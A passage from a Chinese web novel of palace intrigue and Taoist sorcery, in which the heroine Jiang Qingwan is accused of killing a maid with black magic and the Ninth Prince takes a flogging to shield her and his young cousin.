郑成业憋得脸通红,也不知该怎么反驳。
墨云昭轻咳一声,
“此事倒也解释的通,可成业说受你蛊惑前去护国寺带路,你又如何辩驳?”
江清婉再次看向郑成业。
“真的是我让你去的护国寺吗?”
郑成业的眼底明显闪过慌张。
再不似刚刚那般坚定。
他毕竟年岁不大,又从未经受过风霜。
加上对江清婉的成见极深,在护国寺县衙被一通讯问后,想法早就顺着旁人的指引,一门心思的怪责在江清婉头上,甚至不惜说了些谎。
此刻被当面对峙,心里不由发虚。
“还不如实交代!”
墨云寒一声厉喝,吓得他双腿发软,直接跪在了地上。
小脸惨白,眼泪憋不住往下掉。
“表哥,母亲和你都被这女人迷惑,我怀疑她会妖术,正好那日我回府时她给了我一个护身符,我想着去护国寺找方丈大师问问,我不知道太后在寺中祈福,等我从小路摸进去的时候,就撞见里面在打架,我吓得没敢进去,就躲在了树丛里,后来……后来被衙役找到。”
“我又听说皇陵遭劫,想起那张纸上写的地址就在玄灵山附近,所以才会……”
墨云寒气的抬手想打,看他可怜躲闪的模样,又实在不忍心,只能恨恨收回,拱手冲墨云昭行了一礼。
“还请皇兄原谅他年少无知,被偏见蒙蔽了双眼,准许臣弟带回好好教训。”
他话刚说完,殿外就传来一声急报。
“皇上,九王府中搜出一具干尸,经查,为云县主陪嫁丫鬟小翠。”
“什么?”
墨云昭大惊。
“干尸何在?抬上来。”
两个侍卫很快入内。
抬着的担架上,身穿翠绿衣裙的女子,头发珠花皆在,甚至皮肉还是鲜活的颜色,却已经干枯的紧贴着骨头,眼窝凹陷,行若骷髅,死状极其恐怖。
郑成业吓得跌坐在地上。
手指颤巍巍的指着江清婉,“你……你真的会妖术?”
江清婉此刻没空理他。
她盯着那句干尸,心中掀起惊涛骇浪。
玄门邪修有很多邪术,吸人精血助长修为的也大有人在。
可是这具干尸却又不同。
不仅被吸了精血,连活人气运魂灵也一并吸了去。
这人死后,就真的算是魂飞魄散,就算起坛做法都不可能找到任何痕迹。
而这种手段,和她曾在交给秦明朗的那块赤玉上下的符箓一样,同为诸葛门禁术。
因太过阴毒,她虽看过,却不耻修习。
难道诸葛门有人偷偷学成了?
她正晃神,殿外传来哀怨哭诉。
“求皇上替臣妇做主!”
云筱然一身素衣,哭红了双眼,凄婉的跪在殿外,一头磕在了地上。
墨云昭沉喝,“进殿回话,到底出了何事?”
云筱然泪眼婆娑的起身走到殿内再次跪下。
“皇上,小翠自幼照顾我,在我孤苦无依时陪伴左右,她虽是丫鬟,却与我情同姐妹。随嫁王府的第二日,我便再未见过,后来王府出事,所有人不得外出,我还以为她是早起出了门被拦在了外面,谁成想,她竟死在了姐姐的后院,还变成了这般模样。”
她哭着看向江清婉。
“江姐姐,你抢了我的白慈山庄,跟云寒哥哥污蔑是我害了我亲姐姐,还将她丢进了枯井中。我也不知怎么了,你说什么我便应什么,仿佛我不是我自己了。那几日我枯瘦如柴,险些死去,幸得太后娘娘垂怜,派了太医日夜照拂。如今我也不敢与你争,哪怕是做个姨娘,只要能陪着云寒哥哥,我都认了命,可你为什么还要害死翠儿。”
本已觉得自己做错的郑成业闻言顿时又梗起脖子。
“你这毒妇,竟然对筱然姐做了这么多恶事。表哥,你看看清楚,不要再被她迷惑了。”
云筱然哭的凄婉。
干尸为证,再加上郑成业的煽风点火。
妖术害人的帽子就这么牢牢的扣在了江清婉的头上。
即便她现在再用真言符也于事无补。
皇上依旧会觉得,是她用妖术迷惑才让云筱然胡言乱语。
江清婉气的一脚踹在了墨云寒的小腿上。
若当时他能听话,报官之后,直接定了云筱然的罪责,又哪有今日的麻烦。
墨云寒知她意思,任由她踹也不躲闪。
这一幕看在郑成业眼里,却是容不得,当即怒道。
“你竟然还敢当着皇上的面对我表哥行凶,简直太大胆了。”
“你闭嘴!”
江清婉没了耐心,冷冷瞪了他一眼。
随即抬头看向墨云昭。
“皇上,这具干尸刚死不久,而我离开京城已有两日,此人断不会是我杀的。”
云筱然掩着口鼻,凄婉反驳。
“小翠都变成这样了,怎能看出是何时被害?你通妖术,自然是什么都由着你说,可小翠的尸体是在你房里发现的,你总抵赖不了吧。”
她再次跪匐在地。
“求皇上为我做主。”
墨云寒攥着江清婉的小手低声道,“你可还有旁的法子证明?”
江清婉轻轻摇了摇头。
这次,她是真的没法子。
而且眼下她的修为几乎归零,想要恢复还需要一段时间,连缉凶都做不到。
墨云寒眸色沉了沉。
“我带你走。”
此刻突围,谋逆之罪就再难洗清。
江清婉攥住他的手掌制止,冲着高位上坐着的墨云昭扬声道,“此事我会查出真相,眼下,护佑皇陵阵法更为重要,请皇上容我几日。”
她话音刚落,一个茶盏就横空飞来。
墨云寒眼疾手快,将她一把拉到身后,茶盏碎在半步之外,劈裂的瓷片飞溅而起,生生割在了墨云寒的脸颊上,留下一道血痕。
第140章 诛杀妖妇
墨云昭气的脸色铁青。
“你还护着她。”
“你听到她刚刚说了什么吗?到了如今,她自知罪责难逃,竟然还在肖想用大周国运与朕谈判。真以为懂些玄门道术就能为所欲为吗?皇陵圣地,岂容她如此歹毒之人玷污。”
“来人,将江氏拿下!”
殿内落下六名金甲侍卫。
江清婉的确是想跟他谈判,以国运龙脉来喘口气,这已经是破了诸葛门的戒律,插手了朝堂更迭。
她只是不想墨云寒因她谋逆。
也想找机会查出使用诸葛门禁术之人。
可眼下似乎,将事情弄的更糟。
“墨云寒……”
挡在她身前的男人却先她一步开口,“皇兄,你不能动她!”
墨云昭眸色阴沉。
“小九,你知不知道自己在干什么?”
跪在地上的云筱然恨得牙痒痒,她没想到事实都摆在了眼前,墨云寒竟然还敢忤逆皇上护着江清婉。
她哽咽着拼命劝道,
“云寒哥哥,为了这个女人,你要在大殿之上谋逆吗?就算你不在乎筱然的死活,难道你连舅母的生死都不顾了吗?筱然求你醒一醒好不好,不要再被她的妖术所迷惑了!”
郑成业也是急红了眼。
“表哥,你看看筱然姐,你们二人青梅竹马,多年相伴,她才是你最喜爱的女子,你怎可都忘了?”
剑拔弩张之时,外面忽然响起洪亮的齐声高呼。
“恳请陛下,诛杀妖妇,还天道清明!”
总管太监急匆匆跑了进来。
“皇上,不少朝臣跪在外面请旨,情绪很是激动。”
墨云昭长叹一声。
“九王,护国寺所属县衙的县令,是在早朝时入的宫呈报的问询诉状,并在殿内陈述了事发的搜查过程。满朝文武皆听得真切。”
“朕这桌案上,全是大臣们参你九王府的奏折,都被朕压下。就连今日对峙,朕也不曾让外人旁听,你还要朕如何维护。”
“为了此女,你能斩杀朕的亲卫,难道你还要提剑连外面的朝臣也一并杀了吗?”
云筱然心中大喜。
果然还是太后娘娘谋划精密,今日,江清婉这贱人,必死无疑,谁也救不了。
墨云寒周身气压极低,一双漂亮的狐狸眼,眼尾都已被逼的猩红。
他冷冷看着上位,声音却出奇的平静。
“皇兄准备拿下她后如何处置?火祭?还是如同对待幼时的我一般,全身放血,求助于玄门阵法寻一个所谓的真相!”
“你放肆!”
墨云昭的脸色异常难看。
墨云寒却低低笑了起来,肆意,疯魔。
“皇兄一直没问臣弟,为何要去玄灵山。是早就知道原因,还是觉得无足轻重?”
“若说巧合,臣弟与那群大隋余孽的交集更甚,与太后的积怨更深。可入殿以后,皇兄却只字未提。”
“成业年少无知轻易可被挑唆不知事态深浅,字字句句皆为驱赶江清婉,可皇兄知道,有本事反的,是臣弟,跟一个妇人有何关系。她不过拼力在玄灵山中救我性命,一心想要修补护山阵法兑现与皇兄的承诺,仅此而已。”
“皇兄若要杀臣弟,不必绕这么多弯子,直接动手便是。”
“墨云寒!”
墨云昭霍地站了起来。
儒雅的一张脸,双眉紧皱,显然已是动了雷霆之怒。
“闯入皇陵的是一群黑乌鸦,可幻化人形,与外围的大隋余孽配合得当,必是玄门高人所为,你有这本事吗?”
墨云寒勾唇。
“臣弟没有。若皇兄是因为江清婉懂些术法就怀疑是她所为,那坤宁宫里藏着的那位天师岂不是嫌疑更大!”
墨云昭眼中的杀气,前所未有的浓烈。
字字句句,噙着刀光剑影。
“小九,你真的是越发放肆!”
墨云寒却视若无睹。
“臣弟前往玄灵山,是因听闻有灵狐入山,可化妖为人形,才会追踪查探。可那灵狐就是一只普通的红狐狸,是有人引我前去,破了护山大阵,借机闯入皇陵。臣弟为何会被灵狐化妖这种荒诞之言吸引,当今太后,最为清楚。”
这一次墨云昭没有说话,双眼寒气能血染十丈。
墨云寒直直盯着他。
声音朗朗,毫不避讳忌惮。
“郑成业出现在护国寺虽有嫌疑,但秦明朗不仅恰好出现在护国寺,还舍命救下了太后,不更显可疑?他与臣弟的积怨,可也不浅。”
“若护国寺一事只是太后自导自演掩人耳目的戏码,一切便都可说得通。”
御书房的殿门并没有关。
门内门外,皆听得一清二楚。
皇帝为何纵容九王,百姓皆以为是宠溺幼弟,可朝臣不傻。
他们都知道,是因为太上皇手中的虎符属意墨云寒,那张龙椅宝座,也属意墨云寒。
如墨云寒所言。
若想反,他就能反。
周围死一般寂静,唯有墨云寒的声音冷幽响起。
“皇兄并无实证,臣弟也无实证。可桩桩件件,皆指向坤宁宫,臣弟的怀疑,皇兄觉得可有道理?”
江清婉愕然的看向墨云寒。
这厮,像个冷静的疯子!
却又诡异的迷人,让她的心跳不受控制的悸动难压。
龙骑前的墨云昭从未像此刻这般,想要杀了他这个九弟。
可他不能。
强压下心头的怒火,他沉声道,“既有怀疑,理当彻查,那就将江氏暂押天牢候审吧。”
不等墨云寒再开口,他又冷声加了一句。
“小九,这是朕能做到的极限。”
江清婉轻轻扯了扯墨云寒。
既有转机,便可再想办法。
总好过生灵涂炭,连累诸多无辜人的性命。
墨云寒并没有看她。
“既不能定罪,为何要去天牢,臣弟的宫殿还空着,臣弟陪她囚于宫中,等候皇兄彻查结案。”
随即微微颔首。
“臣弟告退!”
转身时,目光看向郑成业。
“立刻回府去见你母亲,事情未解决之前,不准再回太学院,也不准离开王府半步!”
他牵着江清婉还未跨出殿门。
身后忽然响起太监总管的声音。
尖细悠长。
“郑成业因私心报复呈辞欺君,证据确凿,念其年少,有自检之举,并未铸成大错,罚,鞭刑二十,即刻行刑!”
墨云寒的脚步猛地顿住。
宫中鞭刑比军中鞭刑更重,二十鞭,郑成业绝没有机会活下来。
终于知道害怕的郑成业吓的瘫软在地上。
“表……表哥。”
“筱然姐。”
云筱然心里巴不得郑成业因江清婉的事真被打死,却还是故意跪下求情。
“皇上,成业年少却也心思通透,绝非故意说谎,如今真相未明,还请饶他性命,少打几鞭。”
墨云昭重新坐在龙椅上,神态已经恢复如常。
“小九刚刚的话提醒了朕,有些事不能因为牵涉皇亲,便一叶障目,大周礼法,人人都应遵守,朕为皇帝,也不能徇私。”
墨云寒缓缓呼出一口气。
他知道,墨云昭不是想要郑成业死,而是在训责他的不恭。
撕破了伪装,一切倒也变得简单。
他转身,规规矩矩的跪下行了一礼。
“此事因臣弟而起,皇兄曾在幼时告诉臣弟,长兄如父,必护我周全。臣弟是成业的堂哥,其母宋氏教养臣弟,恩同生母,还请皇兄准许臣弟代成业受罚。”
两兄弟四目相对。
气氛凝滞片刻,墨云昭淡淡开口。
“加十鞭,去吧!”
第141章 游说
三十长鞭抽的墨云寒的后背皮开肉绽。
荒凉的宫殿内,连一个伺候的宫人都没有。
殿门被金甲亲卫关上,隔绝了哭喊的嗓子都哑了个郑成业。
他跪在地上,不管不顾地喊着。
身上的锦袍都染了土,还有刚刚扶着墨云寒过来时染上的温热的血。
“表哥,表哥!”
跟过来的云筱然见也不能在墨云寒面前表现,眼中闪过不耐。
“成业,我们做不了什么的,你若不愿回家,我带你去坤宁宫求太后祖母收留。”
郑成业盯着自己染了鲜血的手,想起刚刚墨云寒在他耳边说的话。
“你不信江清婉,也该信我和你母亲。”
隐约间,他觉得,自己好像真的做错了。
他吸了吸鼻子站起来。
“筱然姐,母亲已经知晓此事,我若不回去,她要担心的。你带我出宫吧,我不认得路。”
他委屈又懊悔,眼泪不受控制的往下掉。
他觉得丢脸,却越哭越伤心,只能拼命抬手擦,擦的满脸都是血。
云筱然的眼底闪过嫌弃,敷衍的安慰着带着他走了。
等上了马车又忍不住游说。
“成业,你别担心,只要我们不放弃,云寒哥哥终有一天会看清楚那个女人的真面目。我也一定会尽我最大的力量,保护你跟舅母。可那女人的妖术实在太厉害,若还留她在府中,也不知道下一个遭殃的会是谁。”
想到小翠的尸体,郑成业害怕的攥紧了双手。
云筱然隔着帕子拍在他的肩膀。
“你这次真的很勇敢。”
郑成业僵硬的冲她笑了笑,却什么话都说不出来。
等到了王府,御林军已经撤了。
墨青蕊正在宋玉书的房里宽慰她,突见云筱然带着郑成业进来,二人登时欣喜若狂。
宋玉书却又看到他满身血污,急的踉跄下床。
“成业,你哪里受伤了?”
郑成业连番遭受惊吓,此刻见到母亲情绪彻底失控,跪在地上抱着她的腿嚎啕大哭。
墨青蕊见他这副狼狈模样,也心疼的红了眼。
一旁的玉桃吸了吸鼻子。
“还是县主有办法,入宫没多久就将少爷接了回来,还让外面的御林军都撤走了。”
正沉浸在重逢喜悦中的宋玉书闻言忙抬起头胡乱的擦了擦眼泪。
“筱然,这次真的多谢你。”
云筱然自然不会提及她入宫的目的,故意模棱两可的说道,“我们都是一家人,不说客套的话。成业能平安回来,已是万幸。”
宋玉书点点头,忙又问道,“王爷如何了?”
闻言云筱然故意抽泣了几下,拿着帕子擦着眼泪。
“王爷为护成业受了鞭刑,情况很不好。他执意要护着江氏,我也没有法子,只能先带成业回来。”
郑成业哭的上气不接下气,跪趴在宋玉书怀里抽搐着连话都说不出来。
玉桃跟着抹着眼泪,气的狠狠跺了跺脚。
“都怪那女人惹出这等祸事连累王爷。夫人,她的丫鬟和小厮还在后院,不如抓起来好好审问一番,谁知道他们还藏着什么害人的主意。”
云筱然立刻凄婉附和。
“筱然知道舅母为成业焦心缠绵病榻,也未敢打扰。筱然的丫鬟小翠,已成了具干尸,死在了王府后院江氏的房间里。”
“什么?”
宋氏大惊,“此言当真?”
云筱然忙道,“此事被御林卫搜到,已禀明皇上,若非如此,王爷又怎可能被连累的回不来,我们出宫时,许多朝臣还在御书房外跪着,求皇上惩治妖妇。此事,成业也是亲眼所见的。”
宋氏赶紧低头询问,却发现郑成业已经经受不住连番的情绪波动,在她怀里哭睡过去。
玉桃急道,“夫人,奴婢现在就带人去后院,将那对恶奴控制起来,严刑拷打,定要问出个一二。”
一直没说话的墨青蕊忽地道,“既然此事已经禀告了皇上,皇上却并没有旨意下发,宋姐姐还是先照顾成业,莫要操之过急。”
宋玉书混乱的心稍稍定了定。
“郡主所言有理,你们都下去吧,王爷没回来之前,谁都不许妄动。”
云筱然心里气愤不甘。
所有证据都指向江清婉,这群人为什么一个个都还要护着那贱人!
她故意福了福身,声音幽怨。
“舅母不信筱然,筱然不怪您。毕竟连云寒哥哥都被她迷惑,更何况我们这些普通人。筱然只希望舅母好好想想自她入府后发生的事情,是否太过诡异难测,她控制人心的本事实在太厉害。”
“如今筱然已经一无所有,看着我长大的您和陪着我多年的云寒哥哥也对我心生厌弃,我仍不要脸皮地以姨娘身份入府,成了长安区的笑话,可我只是想找回曾经疼爱我的亲人啊。”
她哽咽的似泣不成声,身形也故意踉跄了一下。
李嬷嬷眼疾手快的扶住她,心疼的只叹气。
“县主,您为了救人在太后殿前跪了许久,老奴扶您去休息吧。”
宋玉书心有不忍。
“筱然,你……”
云筱然见游说的差不多了,再次福了福身。
“舅母,您还是听郡主的吧。现在照顾成业是最要紧的,筱然就不打扰了。”
说罢由着李嬷嬷搀扶着,可怜又无助的一瘸一拐的走了。
玉桃心酸的吸了吸鼻子。
“夫人,县主是您看着长大的,自从江氏入府,她却像变了性子般,或许真的是妖术作祟。而且这一次县主为救少爷,付出这么多,您为何还不信她?”
此刻宋玉书的心里情绪纷杂,再加上这两日都没有合眼,只觉头疼欲裂,脸色白的吓人。
墨青蕊摆摆手,让所有人都退下,又让玉英将郑成业带去听涛小筑休息。
等四下无人,才轻声问道,“宋姐姐,你觉得江清婉真的是害人的妖妇吗?”
宋玉书抬手揉着眉心摇了摇头。
“我不知道。我现在心里很乱,郑擎还没回京,王爷又被困宫中,我实在没心思想这些。”
墨青蕊理解的拍了拍她的手背。
“那就好好休息一下,宫里的事,我去打听看看。不过,你若问我,我却是不信江妹子会行那害人之举。”
宋玉书诧异抬头。
论认识交往的时间,墨青蕊也只跟江清婉见过几面,为何会如此笃定。
难道只因那符无意间救过她?
墨青蕊笑道,“我小九叔是什么样的人啊,冷傲,孤僻,外人嘴里的煞神修罗,战场上令外敌闻风丧胆的战神。十四岁披甲,满身杀伐暴戾,在鬼门关都过了几遭的人,会被区区妖术迷惑?”
宋玉书沉郁的心,豁然开朗。
第142章 实践一下
荒凉的宫殿内,满地灰尘。
被尘封了太久的寝殿根本没法住人。
江清婉翻找出几床发霉的被子,扯掉外面的布料,总算简单收拾出来一个能躺的地方。
她赶紧折返回院子,微风拂过,男人带着满身的血污强撑着意识坐在石阶之上。
鲜血滴答滴答,顺着玄色的衣服,落在石转上,透着骇人的红。
他微微仰着头,不知道在看什么?
冷峭的侧脸上,有着难以形容的落寞。
江清婉快步上前,弯腰去拉他的胳膊。
“去里面趴着,我想办法给你治伤。”
墨云寒没有动,他抬手指了指庭院里一棵长得无比茂盛的杨桃树。
不到结果的季节,只有葱葱绿绿的叶子,随着风的吹动,响起稀碎的哗啦声。
“不太熟的杨桃,很酸很涩,但是汁水还算多,等稍稍成熟后,涩味少了,却依旧很酸,再等一等,彻底成熟后,那果子才变得又甜又多汁。可这果子放不住,我想了很多种方法,埋进土里,藏在瓮里,包在被子里,可依旧很快会坏掉。其实坏掉的杨桃也不算难吃,至少……比饿肚子好。”
江清婉的视野中,仿佛出现了一个满身带着血污倔强的垫着脚尖举着树枝,拼命够杨桃果腹的小小少年。
那还管得了果子是生是熟,还是已经烂掉。
她鼻子有些发酸,倔强的再次用力想将人拽起。
可她的力气实在不足以支撑。
“墨云寒,你站起来!”
话出口才发现哑的厉害,还带着些许哽咽。
墨云寒终于转过头看她。
“我受伤,算不到你的头上。倒是你,被冠上妖妇的骂名,是因我所累。抱歉。”
“墨云寒!”
江清婉气的红了眼眶,“我让你站起来。”
见她这般模样,墨云寒轻声笑了笑。
“好,我听你的。”
他紧握着她的手臂,稍稍用力,从石阶上站了起来。
眩晕感骤然袭来,他踉跄着没有支撑,重重的压向江清婉。
好在后面就是石柱子。
江清婉的后背撞在上面勉强支撑住仰到的力度,她忙抬头查看,却撞进一双深邃幽暗的眸子里。
凝重的冷寂之后,是炙热的渴望。
她的心跳有些乱,慌不择路的移开目光。
扶着他一步一步往殿内走,“这次是我失算,没想到除了宫里的那个,这京城里还有个玄门高手。不过他把干尸丢在王府后院,是想害我还是想利用我害你?”
头顶传来男人虚弱的回应。
“江清婉,我不喜欢这里。”
江清婉以为他嫌弃脏。
“不喜欢也得忍着,这三十鞭一点没收力,你的伤口都见骨头了,如果不好好的治,你会死的。”
她絮絮叨叨的念着,脑袋里快速思索着身上能用的东西。
却听头顶再次传来墨云寒的声音。
“若是你陪着,倒也不是太讨厌。”
江清婉愣了愣,一张小脸烧的有些红。
“我看你是伤的糊涂了。”
墨云寒此刻的意识都有些模糊。
浑身疼的厉害,仿佛又回到被人抓着放血的小时候。
那种无边无际的恐惧,像黑暗的魔鬼将他吞噬。
可身侧的温软却又带着蓬勃的生命力,如一缕光,硬生生撕开黑暗照了进来。
给他一种莫名的心安。
总觉得,有她在,他好像就不用再惧怕。
“江清婉……”
“嗯?”
“你学的怎么样了?要不要跟我实践一下?”
“学什么?”
“房中术。”
“墨云寒!”
跳脚的气恼夹杂着闷哼的低笑,在这荒芜的宫殿内,染了一抹鲜活。
将人扶着趴在床上,江清婉小心的将粘在伤口处碎掉的衣服拨开。
上一次青穗丢给她的金疮药还剩了一点,可这么多的伤口,根本不够用。
止疼的符咒作用也不大,她现在灵力耗费太狠,否则之前墨云寒受刑她就可以用符咒替他挡一挡。
见她久久没动,墨云寒微微侧了侧脸。
“等什么?不是要包扎吗?”
江清婉举着只剩了半瓶的药。
有些许愧疚委屈。
“不够了。”
本就强撑着意识的墨云寒忽地皱了皱眉,又用力撑起了一些身体,扭过头看她。
“你的符……不能用了?”
江清婉抿着唇不说话。
墨云寒的目光落在她脖子上还没有消退的掐痕上。
忽然间明白了在御书房中问她可还有没有法子的时候,她为何摇头了。
在玄灵山的那个破山洞里,她定然是做了极危险的事才救下他。
他重新趴好,语气尽量放松。
“没事,你随便包一包就可以,本王常年在沙场历练,这点伤不会要了我的命,我睡一觉便会好。”
“咚!”
院子里忽又重物落地的声音。
“有人进来了?”
江清婉立刻起身想去查看,却被墨云寒一把拽住。
“我陪你。”
“不用。”江清婉轻轻挣开,“若是想杀我,何必弄出动静来。你现在这个样子,也没法护我。”
她说完快步走出殿门。
就见院子里多了一个包袱。
四下并没有其他人。
她疑惑上前,打开一看,里面全是上好的伤药,还有干净的纱布,一个水袋,和用油纸包包着的肉干。
色泽暗沉,和那日在玄灵山下她在赤森手中吃到的一模一样。
她收好包袱冲着院墙外的方向拱了拱手。
“多谢。”
说完赶紧拿着东西回了殿内。
墨云寒正扶着床幔准备起身,见她回来才松了口气。
“是谁?”
“应该是赤森。”江清婉将水袋和肉干放在枕头边,“你饿了便吃,我给你上药。”
她忽又想到什么,“赤森过来,会不会是太上皇的主意?你现在这么惨,他这个当父亲的也不管吗?”
墨云寒歪在枕头上。
鼻翼间全是发霉的味道,他索性扯了一截江清婉的裙摆放在了鼻尖嗅着,似乎这样能缓解痛苦。
闻言也只是随口回了句。
“我被太后放血的时候,他也没有管过,只给了一句话,不能让我死。”
这实在让江清婉有些意外。
不由啧啧两声,
“这还是亲爹吗?那你觉得这次,他还是会一如既往的不许你死吗?”
伤药小心的一点点涂在伤口上,沾染着鲜血,弄了她一手。
她小口小口吹着气,希望能缓解些疼痛。
等了好一会儿没听到声音,忙起身看去。
就见墨云寒攥着她的裙摆贴在脸上,已经昏睡过去。
第143章 威慑
坤宁宫内,
太后正悠闲的喝着血燕粥,外面候着的小太监连滚带爬的冲了进来,激动的话都说不利索。
“太……太后,太……太上皇传旨,召您候驾。”
“啪嗒!”
太后手里的玉瓷碗掉在了地上,满脸的难以置信。
桂嬷嬷大喜,立刻打发了小太监去外面守着,又让宫女收拾好地面全都去了外面。
这才俯身跪在地上。
“老奴给太后道喜。”
太后已经回过神来,凤眸微挑,冷冷哼了一声。
“有什么可喜的?哀家早就知道,他定然会来求哀家,只是没想到会早了些时辰。”
她看着手指上精致奢华的护甲,眸光渐冷。
“不就是打了三十鞭吗?又没有打死,也要他这么急赤白脸的走出养心殿!”
桂嬷嬷知她心思,忙低声道,“太后娘娘,老奴为您梳妆吧?”
太后嗯了一声,扶着她的手臂坐在了铜镜前。
看着镜子里不见老态的脸,眼中更加得意。
“去把哀家那套金丝雪云缎拿来。”
她似又想起什么,“还有那套凤求凰的头面,一并拿来。”
桂嬷嬷怔了怔。
那套金丝雪云缎是太上皇册封皇后时赐的宫装,那套头面,是太后精心准备的嫁妆,亲手设计,找了最好的工匠打造。
她心里又酸又疼。
这么多年了,太后对太上皇的情意,并没有放下。
刚刚收拾好妆容,外面就响起了小太监尖细的声音。
“太上皇驾到。”
太后转动佛珠的手猛地顿住,随即抬手扶着桂嬷嬷站了起来,摇曳生姿的流苏坠子轻轻荡着鬓发。
她看向殿门口逆着光走进来的男人。
恍惚中似乎又回到了大婚那年。
她隔着龙凤呈祥的喜帕,模糊的透出一双绣金纹龙的靴子。
那人用喜秤挑起她的盖头,她看到一双俊逸飞扬的眸子,一眼万年。
“咳咳咳咳……”
低沉的咳嗽声打断了所有回忆。
视线中的太上皇随意的穿了件明黄的便装,头发散乱披在脑后,连最起码的玉冠都没有戴。
常年被病痛折磨的脸,苍白发青,虽威仪仍在,却再不是当年英俊的儿郎。
太后只觉所有美好都被打破,心中万念繁杂,只剩空洞的荒芜,以至于连行礼都忘了。
桂嬷嬷忙跪下高呼。
“见过太上皇,吾皇万岁。”
说着还不着痕迹的轻轻扯了扯太后的衣摆。
太后恍惚着想要福身。
太上皇已经从她身边经过,淡漠的拂了下衣袖。
“不必行礼了。”
他坐在主位上,行了这几步又忍不住低低咳嗽了两声,气息很杂乱。
“你也坐吧。”
桂嬷嬷赶紧扶着太后坐在了左下首的位置。
太上皇的目光再次落了过去,从上到下看了看,忽地很冷的笑了声。
“已快入土的年纪,还穿这个颜色,看来太后在这坤宁宫中的日子倒是过得不寂寞。”
太后心中纷杂肆意的情绪骤然间炸裂。
“臣妾过得如何,太上皇会关心吗?您有多少年不曾跨进坤宁宫中,您自己算过吗?”
太上皇切了一声。
“难不成还要朕宣你侍寝?”
太后的脸瞬间涨得通红,却并不是羞的,而是气的。
她微微扬起仍具姿色的脸。
“臣妾可以,太上皇还行吗?”
四目相对,谁也不肯让出半步。
周围死一般寂静,宫女太监全都吓得垂下头,连呼吸都不敢大声。
最后还是太上皇先移开了目光,冲着老太监示意了一下。
老太监立刻朝门口喊道,
“把送给太后的礼物抬进来。”
两个侍卫扛着一个大红箱子走了进来。
刚入宫的那几年,还是皇后的太后宠冠六宫,恩赐不断。
隔三岔五的,就会有装满礼物的大箱子送进那时的椒房殿。
有些是四方小国进贡的稀奇玩意,也有些朝臣进献的宝贝。
这么多年过去,再一次看到这一幕,太后的心头发酸,故意瞥了一眼。
“臣妾这坤宁宫内什么都不缺,太上皇的礼还是拿回去吧。”
太上皇懒散的靠在椅背上。
“太后还是看一眼吧,打开。”
即便时过境迁,这种强势不容拒绝的傲气,依旧让太后的心忍不住乱了节奏。
随着箱子掀开,里面却并不是什么珠光宝气的宝贝,而是一具干枯到令人作呕的尸体。
一张骷髅头包裹着皮囊的脸正对着太后,双眼凹陷的深坑,仿佛含着无数冤死的魂灵,正嘶吼着张牙舞爪的扑来。
太后吓得脸色惨白,整个人僵硬的坐着,迅速别开了脸。
强压下想吐的冲动,她恨声质问,“你把这恶心人的东西抬来做什么?是你最喜欢的小九选的妖妇做下的孽障,难不成你还要哀家睁一只眼闭一只眼当做没发生吗?”
她抬手指了指殿门,愤恨难平。
“你去御书房外看看,满朝文武跪了一地,都在请旨诛杀妖妇,你一心护着你的小九,可曾在乎过皇帝的难处,他也是你的亲生儿子!”
太上皇等着她情绪发泄完才淡淡开口。
“这是在水云宫里发现的干尸。”
太后所有的表情都凝滞在脸上。
用圣水洗涤过的脸皮,紧致的好像没一点细纹,可在此刻,表情里依旧露出了苍老的疲态。
太上皇盯着她。
眼中没有半点惊艳亦或者温柔,平静的像一潭死水。
“小四昨夜宿在水云宫,半夜亲眼看到怪物吸食活人,若不是九王妃的护身符救了他一命,他也会变成这样的干尸,那孩子害怕,半夜求到了养心殿外。而怪物吸食活人的时候,九王妃正在玄灵山中。”
太后的脸色变了又变。
许久后抬头问道,“你想我做什么?”
两个人做了几十年的夫妻。
虽早就反目,水火难容。
可却彼此最为了解。
太上皇抬手,老太监立刻躬身伸出手臂。
他缓缓搭上,微微用力站了起来。
“这件事到此为止,三日内补好九龙阵。他若再敢对皇室中人下手,你和你的儿子,都不必活了。”
他再没看太后一眼,迈步离开。
门外宫人跪了一片,殿内只剩下桂嬷嬷一人,还有红箱子里的干尸。
她看着太后满头的珠翠,心头一酸,跪在她面前扶着她微微躬着的身体。
“太后娘娘,万事都有办法,您切勿伤了凤体啊。”
半晌,太后吃吃笑了笑。
“你听见了?为了那个女人生的贱种,他可以连大周的江山都不顾,随随便便便可要了我儿的命。”
她猩红着眼睛看向殿外。
“也好,等他死的那日,哀家绝不会为他留半滴眼泪。”
第144章 病急乱投医
坤宁宫外,老太监扶着太上皇慢慢往养心殿走。
“九王殿下还在受苦,您不派人接出来吗?”
太上皇深深吸了口气。
看着天边的晚霞和闲散的白云。
“只是受了些外伤,哪里有这么娇气。”
老太监讪讪笑了笑,继续劝着,
“三十下鞭刑,再好的身子骨,也经不住,若真的伤了内里,还不是您心疼。”
太上皇瞥了他一眼。
“小九自己选的女人,不是有通天的本事吗?一点皮外伤治不了?”
老太监被噎了一下不敢再搭话。
……
王府后院内,
莲儿哭的眼睛都快睁不开了。
李斗急嘴上都长了泡,无头苍蝇一样,围着莲儿一会站一会顿,唉声叹气的快把头发都薅秃了。
这时连接前后院的小门打开。
云筱然带着几个丫鬟小厮走了进来。
二人顿时如临大敌。
李斗顺手拿起铁锨挡在莲儿前面,“你又想干什么?”
云筱然悠然的看着周围的花团锦簇,笑的无比得意。
“你们对我这么大敌意做什么?本县主只是好心过来告诉你们皇宫里的消息,既然不想听,那就算了。”
莲儿急忙拽开李斗,毫不犹豫的跪在了地上。
“奴婢给苏县主请安。”
云筱然轻哼了一声。
“你倒是识时务。”
说完却不再做声。
莲儿赶紧又拽了拽李斗,示意他也跪下。
李斗虽不愿还是听话的跪了下来。
云筱然这才满意,故意叹了口气。
“皇上已查明江氏以玄门道术吸食活人性命,罪大恶极,她还连累王爷受了刑罚,满朝文武激愤不平,皆在请旨诛杀妖妇,若不是太后怜惜我,这偌大的王府早就被她连累抄了家。”
莲儿瘫坐在地上。
连王爷都受了刑罚,那小姐岂不是凶多吉少。
李斗梗着脖子解释。
“我家小姐不会害人。”
云筱然鄙夷的瞥他一眼。
“你是说皇上冤枉她?”
莲儿心思转的比李斗快,赶紧冲着云筱然磕头。
“求云县主救救我家小姐,奴婢愿做牛做马报答您。”
她知道眼前的这位并不是良善。
视她家小姐如眼中钉。
可她身份低微,又能去求谁。
自从那些人从小姐房里搜出了干尸,青穗姑娘走了,苏姑娘也走了,就连钟大夫也趁着撤兵后又封府的间隙带着还没醒来的小武离开了。
她本想和李斗去前院问问。
可前院的府兵拦着不准去,所有人好像都很忙。
根本没有人担心在乎小姐的死活。
哪怕只有一丝可能,也总比她焦心的干熬着要好。
李斗急的去拦她却拦不住,只能跟着一起磕。
眼看着额头都磕出了血。
